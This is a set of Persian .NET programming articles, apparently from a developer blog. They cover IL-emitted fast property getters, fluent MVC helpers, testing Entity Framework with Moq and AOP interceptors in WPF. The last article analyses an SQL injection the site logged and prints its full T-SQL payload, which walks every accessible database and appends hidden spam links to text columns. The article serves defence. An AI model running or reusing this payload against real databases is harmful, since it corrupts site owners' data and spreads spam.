                                                owner: propertyInfo.DeclaringType,
                                                skipVisibility: true);
            var il = dynamicGetterMethod.GetILGenerator();

            il.Emit(OpCodes.Ldarg_0); // Load input to stack
            il.Emit(OpCodes.Castclass, propertyInfo.DeclaringType); // Cast to source type
            // نکته مهم در اینجا فراخوانی نهایی متد گت بدون استفاده از ریفلکشن است
            il.Emit(OpCodes.Callvirt, getter); //calls its get method

            if (propertyInfo.PropertyType.IsValueType)
                il.Emit(OpCodes.Box, propertyInfo.PropertyType);//box

            il.Emit(OpCodes.Ret);

            return (Func<object, object>)dynamicGetterMethod.CreateDelegate(typeof(Func<object, object>));
        }


        static void Main(string[] args)
        {
            //تهیه لیستی از داده‌ها جهت آزمایش
            var list = new List<User>();
            for (int i = 0; i < 1000000; i++)
            {
                list.Add(new User { Id = i });
            }

            // دسترسی به اطلاعات لیست به صورت متداول از طریق ریفلکشن معمولی
            var idProperty = typeof(User).GetProperty("Id");
            using (Benchmark.Start("Normal reflection"))
            {
                foreach (var item in list)
                {
                    var id = idProperty.GetValue(item, null);
                }
            }

            // دسترسی از طریق روش سریع دستیابی به اطلاعات خواص
            var fastIdProperty = GetFastGetterFunc("Id", typeof(User));
            using (Benchmark.Start("Fast Property"))
            {
                foreach (var item in list)
                {
                    var id = fastIdProperty(item);
                }
            }
        }
    }
}
توضیحات:
از کلاس Benchmark برای نمایش زمان انجام عملیات دریافت مقادیر Id از یک لیست، به دو روش Reflection متداول و روش صدا زدن مستقیم متد get_Id استفاده شده است.
در متد GetFastGetterFunc، ابتدا به متد get_Id خاصیت Id دسترسی پیدا خواهیم کرد. سپس یک متد پویا ایجاد می‌کنیم تا این get_Id را مستقیما صدا بزند. حاصل کار را به صورت یک delegate بازگشت می‌دهیم. شاید عنوان کنید که در اینجا هم حداقل در ابتدای کار متد، یک Reflection اولیه وجود دارد. پاسخ این است که مهم نیست؛ چون در یک برنامه واقعی، تهیه delegates در زمان آغاز برنامه انجام شده و حاصل کش می‌شود. بنابراین در زمان استفاده نهایی، به هیچ عنوان با سربار Reflection مواجه نخواهیم بود.

خروجی آزمایش فوق بر روی سیستم معمولی من به صورت زیر است:
 Normal reflection Total seconds: 2.0054177
Fast Property Total seconds: 0.0552056
بله. نتیجه روش GetFastGetterFunc واقعا سریع و باور نکردنی است!


چند پروژه که از این روش استفاده می‌کنند
Dapper
AutoMapper
fastJson

در سورس این کتابخانه‌ها روش‌های فراخوانی مستقیم متدهای set نیز پیاده سازی شده‌اند که جهت تکمیل بحث می‌توان به آن‌ها مراجعه نمود.


ماخذ اصلی
این کشف و استفاده خاص، از اینجا شروع و عمومیت یافته است و پایه تمام کتابخانه‌هایی است که پیشوند fast را به خود داده‌اند:
2000% faster using dynamic method calls
مطالب
آشنایی با Fluent Html Helpers در MVC
همان طور که قبلا نیز اشاره شد اینجا  به صورت خلاصه هدف FluentAPI  فراهم آوردن روشی است که بتوان متدها را زنجیر وار فراخوانی کرد و به این ترتیب خوانایی کد نوشته شده را بالا برد.
اما در این مقاله سعی شده تا کاربرد آن در یک برنامه MVC رو به صورت استفاده در helper‌ها شرح دهیم.  
در اینجا مثالی رو شرح میدهیم که در آن کنترل هایی از جنس input به صورت helper ساخته و برای فرستادن ویژگی‌های اچ تی ام ال ( HTML Attributes) آن از Fluent Html Helpers بهره میگیریم بدیهی است که از این Fluent  میتوان برای helperهای دیگر هم استفاده کرد.
در ابتدا یک نگاه کلی به کد ایجاد شده می‌اندازیم :
       @Html.RenderInput(
        Attributes.Configure()
            .AddType("text")
            .AddId("UserId")
            .AddName("UserId")
            .AddCssClass("TxtBoxCssClass")
    )
که باعث ساخته شدن یک کنترل تکست باکس با مشخصات زیر در صفحه می‌شود ، همان طور که مشاهده می‌کنیم تمام ویژگی‌ها برای کنترل ساخته شده اند.
<input class="TxtBoxCssClass" id="UserId" name="UserId" type="text">
در ادامه به سراغ پیاده سازی کلاس Attributes برای این مثال می‌رویم ، این کلاس باید از کلاس RouteValueDictionary ارث بری داشته باشد، این کلاس یک دیکشنری برای ما آماده می‌کند تا مقادیرمون رو در آن بریزیم در اینجا برای ویژگی‌ها و مقادیرشون. 
public class Attributes : RouteValueDictionary    {
        /// <summary>
        /// Configures this instance.
        /// </summary>
        /// <returns></returns>
        public static Attributes Configure()
        {
            return new Attributes();
        }

        /// <summary>
        /// Adds the type.
        /// </summary>
        /// <param name="value">The value.</param>
        public Attributes AddType(string value)
        {
            this.Add("type", value);
            return this;
        }

        /// <summary>
        /// Adds the name.
        /// </summary>
        /// <param name="value">The value.</param>
        public Attributes AddName(string value)
        {
            this.Add("name", value);
            return this;
        }

        /// <summary>
        /// Adds the id.
        /// </summary>
        /// <param name="value">The value.</param>
        public Attributes AddId(string value)
        {
            this.Add("id", value);
            return this;
        }

        /// <summary>
        /// Adds the value.
        /// </summary>
        /// <param name="value">The value.</param>
        public Attributes AddValue(string value)
        {
            this.Add("value", value);
            return this;
        }

        /// <summary>
        /// Adds the CSS class.
        /// </summary>
        /// <param name="value">The value.</param>
        public Attributes AddCssClass(string value)
        {
            this.Add("class", value);
            return this;
        }
    }
متد استاتیک Configure همیشه به عنوان شروع کننده fluent  و  از اون برای ساختن یک وهله جدید از کلاس Attributes  استفاده میشه و بقیه متدها هم کار اضافه کردن مقادیر رو مثل یک دیکشنری انجام میدهند.
حالا به سراغ پیاده سازی helper extension مون میرویم 
        public static MvcHtmlString RenderInput(this HtmlHelper htmlHelper, Attributes attributes)
        {
            TagBuilder input = new TagBuilder("input");
            input.MergeAttributes(attributes);
            return new MvcHtmlString(input.ToString(TagRenderMode.SelfClosing));
        }
با استفاده از کلاس tagbuilder تگ input را ساخته و ویژگی‌های فرستاده شده به helper رو با اون ادغام می‌کنیم (با استفاده از MergeAttributes )
این یک مثال ساده بود از این کار امیدوارم مفید واقع شده باشد
مثال پروژه
مطالب
آزمون واحد Entity Framework به کمک چارچوب تقلید
در باب ضرورت نوشتن کدهای تست پذیر، توسعه کلاس‌های کوچک تک مسئولیتی و اهمیت تزریق وابستگی‌ها بارها و بارها بحث شده و مطلب نوشته شده است. این روز‌ها کم پیش میاید که نرم افزاری توسعه داده شود و از پایگاه داده به جهت ذخیره و بازیابی داده‌ها استفاده نکند. با گسترش و رواج ORM ها، نوشتن کدهای دسترسی به داده‌ها سهولت یافته است و استفاده از ORM در لایه‌ی سرویس که نگهدارنده‌ی منطق تجاری برنامه است، امری اجتناب ناپذیر می‌باشد. 
در این مطلب نحوه‌ی نوشتن آزمون واحد برای کلاس سرویسی که وابسته به DbContext می‌باشد، به همراه محدودیت‌ها شرح داده می‌شود.
ابتدا یک روش که که در آن مستقیما از DbContext در سرویس استفاده شده را بررسی میکنیم. در مثال زیر کلاس ProductService وظیفه‌ی برگرداندن لیست کالاها را به ترتیب نام دارد. در آن DbContext مستقیما وهله سازی شده و از آن جهت انجام تراکنش‌های دیتابیس کمک گرفته شده است:
    public class ProductService
    {
        public IEnumerable<Product> GetOrderedProducts()
        {
            using (var ctx = new Entites())
            {
                return ctx.Products.OrderBy(x => x.Name).ToList();
            }
        }
    }

برای این کلاس نمی‌توان Unit Test نوشت چرا که یک وابستگی به شی DbContext دارد و این وابستگی مستقیما درون متد GetOrderedProducts  نمونه سازی شده است. در مطالب پیشین شرح داده شد که برای تست پذیر کردن کدها باید این وابستگی‌ها را از بیرون، در اختیار کلاس مورد نظر قرار داد.
برای نوشتن تست برای کلاس ProductService حداقل دو روش در اختیار است:
- نوشتن Integration Test:
یعنی کلاس جاری را به همین شکل نگاه داریم و در تست، مستقیما به یک پایگاه داده که به منظور تست فراهم شده وصل شویم. برای سهولت مدیریت پایگاه داده می‌توان عمل درج را در یک Transaction قرار داد و پس از پایان یافتن تست Transaction را RollBack کرد. این روش مورد بحث مطلب جاری نمی‌باشد، لطفا برای آشنایی این دو مطلب را مطالعه بفرمایید:
- بهره جستن از تزریق وابستگی و نوشتن Unit Test که وابستگی به دیتابیس ندارد
یکی از قانون‌های یک آزمون واحد این است که وابستگی به منابع خارجی مثل پایگاه داده نداشته باشد. این مطلب نحوه‌ی صحیح پیاده سازی الگوی Unit of Work را شرح داده است. بعد از پیاده سازی Unit Of Work، کلاس DbContext به شرح زیر می‌شود. همانطور که مشاهده می‌کنید، اکنون DbContext یک Interface را پیاده سازی کرده است.
    public interface IUnitOfWork
    {
        IDbSet<TEntity> Set<TEntity>() where TEntity : class;
        int SaveAllChanges();
    }

    public class Entites : DbContext, IUnitOfWork
    {
        public virtual DbSet<Product> Products { get; set; }  // This is virtual because Moq needs to override the behaviour 

        public new virtual IDbSet<TEntity> Set<TEntity>() where TEntity : class   // This is virtual because Moq needs to override the behaviour 
        {
            return base.Set<TEntity>();
        }

        public int SaveAllChanges()
        {
            return base.SaveChanges();
        }
    }
در این حالت می‌توان به جای وهله سازی مستقیم DbContext در ProductService آن را خارج از کلاس سرویس در اختیار استفاده کننده قرار داد:
    public class ProductService
    {
        private readonly IDbSet<Product> _products;
        private readonly IUnitOfWork _uow;
        public ProductService(IUnitOfWork uow)
        {
            _uow = uow;
            _products = _uow.Set<Product>();
        }
     public IEnumerable<Product> GetOrderedProducts()
        {
            return _products.OrderBy(x => x.Name).ToList();
        }
    }
همانطور که مشاهده می‌کنید، الان IUnitOfWork به کلاس سرویس تزریق شده و در متدها، خبری از وهله سازی یک وابستگی (DbContext) نمی‌باشد.
اکنون برای تست این سرویس می‌توان پیاده سازی دیگری را از IUnitOfWork انجام داد و در کدهای تست به سرویس مورد نظر تزریق کرد. برای سهولت این امر قصد داریم از moq به عنوان  چارچوب تقلید (Mocking framework) استفاده کنیم. برای  نصب moq  می توان از  بسته‌ی نیوگت آن بهره جست. پیشتر  مطلبی  در رابطه با چارچوب‌های تقلید در سایت نوشته شده است.
با توجه به اینکه PoductService به دیتابیس وابستگی دارد، مقصود این است که این وابستگی با ایجاد یک نمونه‌ی mock از IUnitOfWork حذف شود. برای این منظور در سازنده‌ی کلاس، تعدادی کالای درون حافظه ایجاد شده و به صورت IQueryable جایگزین DbSet شده است.
اگر به تعریف کلاس Entities که همان DbContext می‌باشد دقت کنید، مشاهده می‌شود که Products و تابع Set، هر دو به صورت Virtual تعریف شده اند. برای تغییر رفتار DbContext نیاز است در آزمون واحد، این دو با داده‌های درون حافظه کار کنند و رفتار آنها قرار است عوض شود. این تغییر رفتار از طریق چند ریختی (Polymorphism) خواهد بود.
کلاس تست در نهایت اینگونه تعریف می‌شود:
   [TestFixture]
    public class ProductServiceTest
    {
        private readonly ProductService _productService;
        public ProductServiceTest()
        {
            IQueryable<Product> data = GetRoadNetworks().AsQueryable();
            var mockSet = new Mock<DbSet<Product>>();
            mockSet.As<IQueryable<Product>>().Setup(m => m.Provider).Returns(data.Provider);
            mockSet.As<IQueryable<Product>>().Setup(m => m.Expression).Returns(data.Expression);
            mockSet.As<IQueryable<Product>>().Setup(m => m.ElementType).Returns(data.ElementType);
            mockSet.As<IQueryable<Product>>().Setup(m => m.GetEnumerator()).Returns(data.GetEnumerator());
            var context = new Mock<Entites>();
            context.Setup(c => c.Products).Returns(mockSet.Object);
            context.Setup(m => m.Set<Product>()).Returns(mockSet.Object);
            _productService = new ProductService(context.Object);
        }
        private IEnumerable<Product> GetRoadNetworks()
        {
            return new List<Product>
            {
                new Product
                {
                    Id = 1,
                    Name = "A"
                },
                new Product
                {
                    Id = 2,
                    Name = "B"
                },
                new Product
                {
                    Id = 3,
                    Name = "C"
                }
            };
        }
        [Test]
        public void GetOrderedProductTest()
        {
            IEnumerable<Product> products = _productService.GetOrderedProducts();
            List<string> names = products.Select(x => x.Name).ToList();
            var expected = new List<string> {"A", "B", "C"};
            CollectionAssert.AreEqual(names, expected);
        }
    }
همانطور که مشاهده می‌شود، در سازنده‌ی کلاس تست، یک منبع داده‌ی درون حافظه‌ای به صورت IQueryable تولید شده و پیاده سازی‌های تقلیدی از DbContext به همراه تابع Set و همچنین DbSet کالا‌ها به کمک Moq ایجاد گردیده و در اختیار ProductService قرار داده شده است.
در نهایت، در یک تست تلاش شده است تا منطق متد GerOrderedProducts مورد آزمون قرار گیرد.
محدودیت این روش:
با اینکه LINQ یک روش و سینتکس یکتا برای دسترسی به منابع داده‌ای مختلف را محیا می‌کند، اما این الزامی برای یکسان بودن نتایج، هنگام استفاده از Provider‌های مختلف LINQ نمی‌باشد. در تست نوشته شده از LINQ To Objects برای کوئری گرفتن از منبع داده استفاده شده است؛ در صورتیکه در برنامه‌ی اصلی از LINQ To Entities استفاده می‌شود و الزامی نیست که یک کوئری LINQ در دو Provider متفاوت یک رفتار را داشته باشد.
این نکته در قسمت Limitations of EF in-memory test doubles این مطلب هم شرح داده شده است.
در نهایت این پرسش به وجود می‌آید که با وجود محدودیت ذکر شده، از این روش استفاده شود یا خیر؟ پاسخ این پرسش، بسته به هر سناریو، متفاوت است.
به عنوان نمونه اگر در یک سناریو داده‌ها با یک کوئری نه چندان پیچیده از منبع داده ای گرفته می‌شود و اعمال دیگری دیگری روی نتیجه‌ی کوئری درون حافظه انجام می‌شود می‌توان این روش را قابل اعتماد قلمداد کرد.
برای مطالعه‌ی بیشتر مطالب متعددی در سایت در رابطه با تزریق وابستگی و آزمون‌های واحد نوشته شده است.
مطالب دوره‌ها
استفاده از AOP Interceptors برای حذف کدهای تکراری INotifyPropertyChanged در WPF
هرکسی که با WPF کار کرده باشد با دردی به نام اینترفیس INotifyPropertyChanged و پیاده سازی‌های تکراری مرتبط با آن آشنا است:
public class MyClass : INotifyPropertyChanged
{
    private string _myValue;
    public event PropertyChangedEventHandler PropertyChanged;
    public string MyValue
    {
        get
        {
            return _myValue;
        }
        set
        {
            _myValue = value;
            RaisePropertyChanged("MyValue");
        }
    }
    protected void RaisePropertyChanged(string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
    }
}
چندین راه‌حل هم برای ساده سازی و یا بهبود آن وجود دارد از Strongly typed کردن آن تا روش‌های اخیر دات نت 4 و نیم در مورد استفاده از ویژگی‌های متدهای فراخوان. اما ... با استفاده از AOP Interceptors می‌توان در وهله سازی‌ها و فراخوانی‌ها دخالت کرد و کدهای مورد نظر را در مکان‌های مناسبی تزریق نمود. بنابراین در مطلب جاری قصد داریم ارائه متفاوتی را از پیاده سازی خودکار INotifyPropertyChanged ارائه دهیم. به عبارتی چقدر خوب می‌شد فقط می‌نوشتیم :
public class MyDreamClass : INotifyPropertyChanged
{
    public event PropertyChangedEventHandler PropertyChanged;
    public string MyValue { get; set; }
}
و ... همه چیز مثل سابق کار می‌کرد. برای رسیدن به این هدف، باید فراخوانی‌های set خواص را تحت نظر قرار داد (یا همان Interception در اینجا). ابتدا باید اجازه دهیم تا set صورت گیرد، پس از آن کدهای معروف RaisePropertyChanged را به صورت خودکار فراخوانی کنیم.


پیشنیازها

ابتدا یک برنامه جدید WPF را آغاز کنید. تنظیمات آن‌را از حالت Client profile به Full تغییر دهید.
سپس همانند قسمت قبل، ارجاعات لازم را به StructureMap و Castle.Core نیز اضافه نمائید:
 PM> Install-Package structuremap
PM> Install-Package Castle.Core


ساختار برنامه

برنامه ما از یک اینترفیس و کلاس سرویس تشکیل شده است:
namespace AOP01.Services
{
    public interface ITestService
    {
        int GetCount();
    }
}

namespace AOP01.Services
{
    public class TestService: ITestService
    {     
        public int GetCount()
        {
            return 10; //این فقط یک مثال است برای بررسی تزریق وابستگی‌ها
        }
    }
}
همچنین دارای یک ViewModel به شکل زیر می‌باشد:
using AOP01.Services;
using AOP01.Core;

namespace AOP01.ViewModels
{
    public class TestViewModel  : BaseViewModel
    {
        private readonly ITestService _testService;
        //تزریق وابستگی‌ها در سازنده کلاس
        public TestViewModel(ITestService testService)
        {
            _testService = testService;
        }

        // Note: it's a virtual property.
        public virtual string Text { get; set; }
    }
}
سه نکته در این ViewModel حائز اهمیت هستند:
الف) استفاده از کلاس پایه BaseViewModel برای کاهش کدهای تکراری مرتبط با INotifyPropertyChanged که به صورت زیر تعریف شده است:
using System.ComponentModel;

namespace AOP01.Core
{
    public abstract class BaseViewModel : INotifyPropertyChanged
    {
        public event PropertyChangedEventHandler PropertyChanged;

        public void RaisePropertyChanged(string propertyName)
        {
            var handler = PropertyChanged;

            if (handler != null)
                handler(this, new PropertyChangedEventArgs(propertyName));
        }
    }
}
ب) کلاس سرویس، در حالت تزریق وابستگی‌ها در سازنده کلاس در اینجا مورد استفاده قرار گرفته است. وهله سازی خودکار آن توسط کلاس‌های پروکسی و DI صورت خواهند گرفت.
ج) خاصیتی که در اینجا تعریف شده از نوع virtual است؛ بدون پیاده سازی مفصل قسمت set آن و فراخوانی مستقیم RaisePropertyChanged کلاس پایه به صورت متداول. علت virtual تعریف کردن آن به امکان دخل و تصرف در نواحی get و set این خاصیت توسط Interceptor ایی که در ادامه تعریف خواهیم کرد بر می‌گردد.


پیاده سازی NotifyPropertyInterceptor

using System;
using Castle.DynamicProxy;

namespace AOP01.Core
{
    public class NotifyPropertyInterceptor : IInterceptor
    {
        public void Intercept(IInvocation invocation)
        {
            // متد ست، ابتدا فراخوانی می‌شود و سپس کار اطلاع رسانی را انجام خواهیم داد
            invocation.Proceed();

            if (invocation.Method.Name.StartsWith("set_"))
            {
                var propertyName = invocation.Method.Name.Substring(4);
                raisePropertyChangedEvent(invocation, propertyName, invocation.TargetType);
            }
        }

        void raisePropertyChangedEvent(IInvocation invocation, string propertyName, Type type)
        {
            var methodInfo = type.GetMethod("RaisePropertyChanged");
            if (methodInfo == null)
            {
                if (type.BaseType != null)
                    raisePropertyChangedEvent(invocation, propertyName, type.BaseType);
            }
            else
            {
                methodInfo.Invoke(invocation.InvocationTarget, new object[] { propertyName });
            }
        }
    }
}
با اینترفیس IInterceptor در قسمت قبل آشنا شدیم.
در اینجا ابتدا اجازه خواهیم داد تا کار set به صورت معمول انجام شود. دو حالت get و set ممکن است رخ دهند. بنابراین در ادامه بررسی خواهیم کرد که اگر حالت set بود، آنگاه متد RaisePropertyChanged کلاس پایه BaseViewModel را یافته و به صورت پویا با propertyName صحیحی فراخوانی می‌کنیم.
به این ترتیب دیگر نیازی نخواهد بود تا به ازای تمام خواص مورد نیاز، کار فراخوانی دستی RaisePropertyChanged صورت گیرد.


اتصال Interceptor به سیستم

خوب! تا اینجای کار صرفا تعاریف اولیه تدارک دیده شده‌اند. در ادامه نیاز است تا DI و DynamicProxy را از وجود آن‌ها مطلع کنیم.
برای این منظور فایل App.xaml.cs را گشوده و در نقطه آغاز برنامه تنظیمات ذیل را اعمال نمائید:
using System.Linq;
using System.Windows;
using AOP01.Core;
using AOP01.Services;
using Castle.DynamicProxy;
using StructureMap;

namespace AOP01
{
    public partial class App
    {
        protected override void OnStartup(StartupEventArgs e)
        {
            base.OnStartup(e);

            ObjectFactory.Initialize(x =>
            {
                x.For<ITestService>().Use<TestService>();

                var dynamicProxy = new ProxyGenerator();
                x.For<BaseViewModel>().EnrichAllWith(vm =>
                {
                    var constructorArgs = vm.GetType()
                            .GetConstructors()
                            .FirstOrDefault()
                            .GetParameters()
                            .Select(p => ObjectFactory.GetInstance(p.ParameterType))
                            .ToArray();

                    return dynamicProxy.CreateClassProxy(
                                classToProxy: vm.GetType(),
                                constructorArguments: constructorArgs,
                                interceptors: new[] { new NotifyPropertyInterceptor() });
                });
            });
        }
    }
}
مطابق این تنظیمات، هرجایی که نیاز به نوعی از ITestService بود، از کلاس TestService استفاده خواهد شد.
همچنین در ادامه به DI مورد استفاده اعلام می‌کنیم که ViewModelهای ما دارای کلاس پایه BaseViewModel هستند. بنابراین هر زمانی که این نوع موارد وهله سازی شدند، آن‌ها را یافته و با پروکسی حاوی NotifyPropertyInterceptor مزین کن.
مثالی که در اینجا انتخاب شده، تقریبا مشکل‌ترین حالت ممکن است؛ چون به همراه تزریق خودکار وابستگی‌ها در سازنده کلاس ViewModel نیز می‌باشد. اگر ViewModelهای شما سازنده‌ای به این شکل ندارند، قسمت تشکیل constructorArgs را حذف کنید.


استفاده از ViewModel مزین شده با پروکسی در یک View

<Window x:Class="AOP01.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        Title="MainWindow" Height="350" Width="525">
    <Grid>
        <TextBox Text="{Binding Text, Mode=TwoWay, UpdateSourceTrigger=PropertyChanged}" />
    </Grid>
</Window>
اگر فرض کنیم که پنجره اصلی برنامه مصرف کننده ViewModel فوق است، در code behind آن خواهیم داشت:
using AOP01.ViewModels;
using StructureMap;

namespace AOP01
{
    public partial class MainWindow
    {
        public MainWindow()
        {
            InitializeComponent();

            //علاوه بر تشکیل پروکسی
            //کار وهله سازی و تزریق وابستگی‌ها در سازنده را هم به صورت خودکار انجام می‌دهد
            var vm = ObjectFactory.GetInstance<TestViewModel>(); 
            this.DataContext = vm;
        }
    }
}
به این ترتیب یک ViewModel محصور شده توسط DynamicProxy مزین با NotifyPropertyInterceptor به DataContext  ارسال می‌گردد.

اکنون اگر برنامه را اجرا کنیم، مشاهده خواهیم کرد که با وارد کردن مقداری در TextBox برنامه، NotifyPropertyInterceptor مورد استفاده قرار می‌گیرد:



دریافت مثال کامل این قسمت
AOP01.zip
مطالب
نمونه‌ای از تزریق اس کیوال جهت درج تبلیغات مخفی شده‌ی در رکوردهای سایت
مدتی هست در لاگ‌های ELMAH سایت، یک چنین تزریق‌های اس کیوال ناموفقی مشاهده می‌شوند:


اگر اخیرا به دیتابیس شما رکوردهایی با divهای نامرئی ("div style="display:none) که داخل آن‌ها تبلیغات یک سری سایت‌های کذایی وجود دارند، اضافه شده‌اند، حتما مورد حمله‌ی SQL Injection فوق واقع شده‌اید.

مواردی را که باید بررسی کنید:
الف) آیا در سایت، قسمت ثبت ارجاعات را دارید؟
قبل از اینکه HTTP Referrer را بررسی کنید، یکبار آن‌را به عنوان پارامتر سازنده‌ی new Uri قرار دهید. به این صورت این حمله دقیقا در همین مرحله، با صدور یک استثناء، به علت معتبر نبودن آدرس دریافتی متوقف می‌شود:


ب) آیا در سایت، نوع مرورگرهای کاربران را نیز ذخیره می‌کنید؟
با توجه به شکل اول، این حمله تنها زمانی مؤثر خواهد بود که از کوئری‌های غیرپارامتری و یا از ORMها استفاده نمی‌کنید.

ج) آیا به محتوای دریافت شده‌ی از طریق کوئری استرینگ‌ها دقت دارید؟
این مورد نیز همانند حالت ب است.


بررسی ساختار این حمله

کوئری ارسالی (البته با حذف آدرس سایت‌های کذایی آن)، یک چنین فرمتی را دارد:
DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;
در اینجا ابتدا لیست بانک‌های اطلاعاتی موجود دریافت می‌شوند. سپس با استفاده از try/catch سعی در به روز رسانی رکوردهای جداولی که دارای فیلدهایی از نوع varchar یا nvarchar از نوع max هستند، می‌کند. از try/catch هم به این دلیل استفاده کرده‌است که در یک سایت اشتراکی، شما فقط به بانک اطلاعاتی خودتان دسترسی دارید و البته اگر از کاربر sa استفاده می‌کنید که ... هم اکنون تمام بانک‌های اطلاعاتی شما آلوده شده‌اند!
به روز رسانی آن هم رندام است. یعنی در یک سری رکورد، بر اساس case نوشته شده، تبلیغ خواندن و در یک سری دیگر، تبلیغ داستانی را در انتهای آن‌ها درج می‌کند.